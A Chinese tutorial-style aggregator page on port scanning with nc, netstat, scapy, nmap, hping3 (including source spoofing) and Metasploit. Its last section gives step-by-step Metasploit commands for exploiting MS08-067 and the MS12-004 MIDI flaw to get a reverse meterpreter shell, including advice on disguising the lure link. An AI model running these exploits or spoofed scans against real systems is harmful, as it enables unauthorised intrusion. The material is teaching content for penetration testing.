導航:首頁 > 程序命令 > 命令行埠掃描

命令行埠掃描

發布時間:2024-12-17 09:43:45

1. nc命令如何進行不同協議和埠的掃描

nc命令,作為NMAP項目的重要組成部分,是一個功能強大的網路工具,專為命令行操作而設計,它在數據傳輸方面表現出色。作為netcat家族的旗艦產品,nc不僅支持IPv4和IPv6,還為用戶提供廣泛的網路連接選項,包括TCP、UDP和SCTP埠,甚至可以進行SSL加密。它的設計目標是為開發者提供一個靈活的平台,使他們能夠輕松地為不支持網路連接的軟體添加支持。

nc的使用方式多樣,其基本語法格式是nc [參數],其中包含一些常用參數。例如,-l選項用於監聽模式,等待外部連接;-p用於設置本地埠;-s指定發送數據包的IP地址;-u啟用UDP傳輸;-v用於顯示詳細過程;-w設置連接等待時間;而-z在掃描通信埠時使用0輸入/輸出模式,僅顯示結果。

實際操作中,nc命令可以用於多種場景。例如,要掃描80埠,可以輸入命令:nc -nvv 192.168.3.1 80。掃描UDP埠則為:nc -u -z -w2 192.168.0.1 1-1000。對於TCP埠掃描,命令為:nc -v -z -w2 192.168.0.3 1-1000。這些例子展示了nc命令在網路探測和連接方面的實用價值。
總的來說,nc命令是一個功能豐富的網路工具,通過靈活的參數配置,能夠幫助用戶快速、准確地進行網路通信和掃描,對於網路開發和管理具有重要意義。

2. 怎樣知道一個埠是否被佔用了

答案:可以通過命令行工具查看埠是否被佔用。

詳細解釋

1. 使用命令行工具:在Windows系統中,可以使用「Windows命令提示符」或「PowerShell」;在linux或Mac系統中,則可以使用終端。

2. 使用netstat命令:在命令行中輸入「netstat -ano」命令,可以列出所有正在使用的埠及其對應的進程ID。通過查看列表,可以判斷特定埠是否正在被使用。

3. 篩選特定埠:如果知道要檢查的埠號,比如8080,可以在netstat命令後加上「| findstr 埠號」來篩選特定埠的佔用情況。例如,「netstat -ano | findstr 8080」。

4. 解釋結果:如果埠被佔用,將顯示該埠正在被哪個進程使用。如果未顯示任何信息,則表示該埠未被佔用。

此外,還有其他工具如「埠掃描工具」或第三方軟體也能查看埠佔用情況。這些工具通常能提供更詳細的信息,如埠的通信狀態、連接數等。但在命令行工具中,netstat命令是最直接且常用的方法。如果對命令行操作不太熟悉,也可以嘗試使用一些圖形化界面的網路管理工具來查看埠佔用情況。

通過上述方法,用戶可以輕松判斷特定埠是否被佔用,並根據實際情況進行相應處理,如更改埠號或結束佔用進程等。

3. 滲透測試之埠掃描

埠掃描:埠對應網路服務及應用端程序

服務端程序的漏洞通過埠攻入

發現開放的埠

更具體的攻擊面

UDP埠掃描:

如果收到ICMP埠不可達,表示埠關閉

如果沒有收到回包,則證明埠是開放的

和三層掃描IP剛好相反

Scapy埠開發掃描

命令:sr1(IP(dst="192.168.45.129")/UDP(dport=53),timeout=1,verbose=1)

nmap -sU 192.168.45.129

TCP掃描:基於連接的協議

三次握手:基於正常的三次握手發現目標是否在線

隱蔽掃描:發送不完整的數據包,不建立完整的連接,如ACK包,SYN包,不會在應用層訪問,

僵屍掃描:不和目標系統產生交互,極為隱蔽

全連接掃描:建立完整的三次握手

所有的TCP掃描方式都是基於三次握手的變化來判斷目標系統埠狀態

隱蔽掃描:發送SYN數據包,如果收到對方發來的ACK數據包,證明其在線,不與其建立完整的三次握手連接,在應用層日誌內不記錄掃描行為,十分隱蔽,網路層審計會被發現跡象

僵屍掃描:是一種極其隱蔽的掃描方式,實施條件苛刻,對於掃描發起方和被掃描方之間,必須是需要實現地址偽造,必須是僵屍機(指的是閑置系統,並且系統使用遞增的IPID)早期的win xp,win 2000都是遞增的IPID,如今的LINUX,WINDOWS都是隨機產生的IPID

1,掃描者向僵屍機發送SYN+ACY,僵屍機判斷未進行三次握手,所以返回RST包,在RST數據包內有一個IPID,值記為X,那麼掃描者就會知道被掃描者的IPID

2,掃描者向目標伺服器發送SYN數據包,並且偽裝源地址為僵屍機,如果目標伺服器埠開放,那麼就會向僵屍機發送SYN+ACK數據包,那麼僵屍機也會發送RST數據包,那麼其IPID就是X+1(因為僵屍機足夠空閑,這個就為其收到的第二個數據包)

3,掃描者再向僵屍機發送SYN+ACK,那麼僵屍機再次發送RST數據包,IPID為X+2,如果掃描者收到僵屍機的IPID為X+2,那麼就可以判斷目標伺服器埠開放

使用scapy發送數據包:首先開啟三台虛擬機,

kali虛擬機:192.168.45.128

Linux虛擬機:192.168.45.129

windows虛擬機:192.168.45.132

發送SYN數據包:

通過抓包可以查看kali給linux發送syn數據包

linux虛擬機返回Kali虛擬機SYN+ACK數據包

kali系統並不知道使用者發送了SYN包,而其莫名其妙收到了SYN+ACK數據包,便會發RST包斷開連接

也可以使用下列該命令查看收到的數據包的信息,收到對方相應的SYN+ACK數據包,scapy默認從本機的80埠往目標系統的20號埠發送,當然也可以修改

如果向目標系統發送一個 隨機埠:

通過抓包的獲得:1,kali向linux發送SYN數據包,目標埠23456,

2,Linux系統由自己的23456埠向kali系統的20號埠返回RST+ACK數據包,表示系統埠未開放會話結束

使用python腳本去進行scapy掃描

nmap做隱蔽埠掃描:

nmap -sS  192.168.45.129 -p 80,21,110,443 #掃描固定的埠

nmap -sS 192.168.45.129 -p 1-65535 --open  #掃描該IP地址下1-65535埠掃描,並只顯示開放的埠

nmap -sS 192.168.45.129 -p --open  #參數--open表示只顯示開放的埠

nmap -sS -iL iplist.txt -p 80

由抓包可知,nmap默認使用-sS掃描,發送SYN數據包,即nmap=nmap  -sS

hping3做隱蔽埠掃描:

hping3 192.168.45.129 --scan 80 -S  #參數--scan後面接單個埠或者多個埠.-S表示進行SYN掃描

hping3 192.168.45.129 --scan 80,21,25,443 -S

hping3 192.168.45.129 --scan 1-65535 -S

由抓包可得:

hping3 -c 100  -S  --spoof 192.168.45.200 -p ++1 192.168.45.129

參數-c表示發送數據包的數量

參數-S表示發送SYN數據包

--spoof:偽造源地址,後面接偽造的地址,

參數-p表示掃描的埠,++1表示每次埠號加1,那麼就是發送SYN從埠1到埠100

最後面跟的是目標IP

通過抓包可以得知地址已偽造,但對於linux系統(192.168.45.129)來說,它收到了192.168.45.200的SYN數據包,那麼就會給192.168.45.200回復SYN+ACK數據包,但該地址卻是kali偽造的地址,那麼要查看目標系統哪些埠開放,必須登陸地址為kali偽造的地址即(192.168.45.200)進行抓包

hping3和nmap掃描埠的區別:1,hping3結果清晰明了

  2,nmap首先對IP進行DNS反向解析,如果沒成功,那麼便會對其埠發送數據包,默認發送SYN數據包

hping3直接向目標系統的埠發送SYN數據包,並不進行DNS反向解析

全連接埠掃描:如果單獨發送SYN數據包被被過濾,那麼就使用全連接埠掃描,與目標建立三次握手連接,結果是最准確的,但容易被入侵檢測系統發現

response=sr1(IP(dst="192.168.45.129")/TCP(dport=80,flags="S"))

reply=sr1(IP(dst="192.168.45.129")/TCP(dport=80,flags="A",ack=(response[TCP].seq+1)))

抓包情況:首先kali向Linux發送SYN,Linux回復SYN+ACK給kali,但kali的系統內核不清楚kali曾給linux發送給SYN數據包,那麼kali內核莫名其妙收到SYN+ACK包,那麼便會返回RST請求斷開數據包給Linux,三次握手中斷,如今kali再給Linux發ACK確認數據包,Linux莫名其妙收到了ACK數據包,當然也會返回RST請求斷開數據包,具體抓包如下:

那麼只要kali內核在收到SYN+ACK數據包之後,不發RST數據包,那麼就可以建立完整的TCP三次握手,判斷目標主機埠是否開放

因為iptables存在於Linux內核中,通過iptables禁用內核發送RST數據包,那麼就可以實現

使用nmap進行全連接埠掃描:(如果不指定埠,那麼nmap默認會掃描1000個常用的埠,並不是1-1000號埠)

使用dmitry進行全連接埠掃描:

dmitry:功能簡單,但功能簡便

默認掃描150個最常用的埠

dmitry -p 192.168.45.129  #參數-p表示執行TCP埠掃描

dmitry -p 192.168.45.129 -o output  #參數-o表示把結果保存到一個文本文檔中去

使用nc進行全連接埠掃描:

nc -nv -w 1 -z 192.168.45.129 1-100:      1-100表示掃描1-100號埠

參數-n表示不對Ip地址進行域名解析,只把其當IP來處理

參數-v表示顯示詳細信息

參數-w表示超時時間

-z表示打開用於掃描的模式

4. 如何用Metasploit掃描埠

一、調用Nmap進行掃描
進入msf命令行後直接輸入nmap –v –sVip(具體命令和nmap一樣)
二、MSF模塊掃描
Use auxiliary/scanner/postscan/syn
先用搜索命令搜索有關埠掃描的工具:searchportscan
我們使用Use auxiliary/scanner/postscan/syn
看一下參數配置 showoptions

我們先來設置一下網卡
Set INTERFACE eth0
設置一下掃描的埠,我們這里來掃描80:set PORTS 80
設置掃描目標RHOSTS :set RHOSTS 119.63.37.149
在設置一下線程:set THREADS 100
看一下我們設置好的

這時候我們都設置好了,我們來攻擊下,看看效果,用命令run進行攻擊
缺點就是掃描的速度有點慢啊

MetaSploit SMB掃描獲取系統信息
還是搜索一下smb:searchsmb

這次發現搜出來很多,我們用這個模塊
Use auxiliary/scanner/smb/smb_version
看一下需要設置的參數

設定目標ip:set RHOSTS 192.168.188.140
在設置一下線程:set THREAD 10
然後run一下,查看結果

直接掃描出來小夥伴的系統還有主機名,速度不到1s,很快
也可以批量掃描設置批量掃描目標即可 set RHOSTS 192.168.188.50-200

MetaSploit服務識別
我們這里對SSH和FTP進行識別
在這里使用這個模塊:use auxiliary/scanner/ssh/ssh_version
然後我們設置一下參數,這里講設置好的參數截圖看一下

Run一下看看結果,其實沒有掃出來,好像是屏蔽了,但是用nmap卻掃出來了ssh

在試一下ftp,用這個模塊:use auxiliary/scanner/ftp/ftp_version
設置下參數

可以看到結果,也沒有掃描出來;
MetaSploit SNMP掃描與枚舉
搜索一下snmpuse auxiliary/scanner/snmp/snmp_login
看一下他的參數設置

這個參數還是很多的
設定一下目標
然後在run一下
枚舉用這個模塊
use auxiliary/scanner/snmp/snmp_enum

設置好目標和線程後run一下就可以

MetaSploit遠程代碼執行
搜索一下08-067,使用這個攻擊載荷
use exploit/windows/smb/ms08_067_netapi
同樣來看一下參數設置

我們只要設置一下目標就可以,然後我們需要一個載荷來反彈shell
set payload windows/meterpreter/reverse_tcp
然後設置參數

將LHOST 設置為自己的ip(對外攻擊不要忘了段口轉發)
比如說知道對面的系統是什麼版本,可以指定targer,用target查看一下都有什麼版本

設置一下目標,假設我們目標機器的系統為10:set target 10
這時候,我們再來看一下其參數設置,發現比以前完備了好多

08-067是不會自動識別系統版本的,但是其他的可以自動識別,所以用其他攻擊載荷的時候可以不用設置
然後輸入exploit進行攻擊即可
這時候會出來一個meterpreter>
我們在裡面輸入shell,就會反彈一個shell
這樣整個攻擊過程就完成了

MetaSploit MIDI文件解析遠程代碼執行
還是來搜索12-004

設置下本機ip set SRVHOST ip
然後攻擊

會生成一個連接,但是這個鏈接容易讓人發現,所以我們可以偽裝下ip利用URIPATH參數就可以偽裝
在設置時,會發現報紅,因為4444埠被佔用了,所以我們改下監聽埠 set LPORT 5555
然後生成連接

只要目標點了這個鏈接,那麼我們就會上線一個shell
說一下,目標點擊後我們這邊並沒有反映,我們需要輸下session查看當前會話,會找到上線的機子,連接上線的機子
Session –I 1(id)
然後輸入shell就可以拿到shell

閱讀全文

與命令行埠掃描相關的資料

熱點內容
vcu盤加密怎麼設置 瀏覽:412
如何加密備份微信聊天記錄 瀏覽:527
安卓手機如何模擬鍵盤 瀏覽:930
查看dns地址命令 瀏覽:767
android錄屏工具 瀏覽:840
成都互動直播系統源碼 瀏覽:955
usb藍牙android 瀏覽:409
伺服器顯示error1什麼意思 瀏覽:710
python代碼精簡 瀏覽:459
文件加密了怎麼找到了 瀏覽:195
jellyfin插件怎麼選擇主伺服器 瀏覽:838
asp用戶注冊源碼 瀏覽:48
什麼是照片壓縮文件 瀏覽:392
java調用js代碼 瀏覽:979
崑山市民app怎麼修改身份信息 瀏覽:779
php登陸次數 瀏覽:745
python字元轉成數字 瀏覽:822
海川用的是什麼伺服器 瀏覽:376
口才是練出來的pdf 瀏覽:459
雲伺服器哪個公司性價比高 瀏覽:519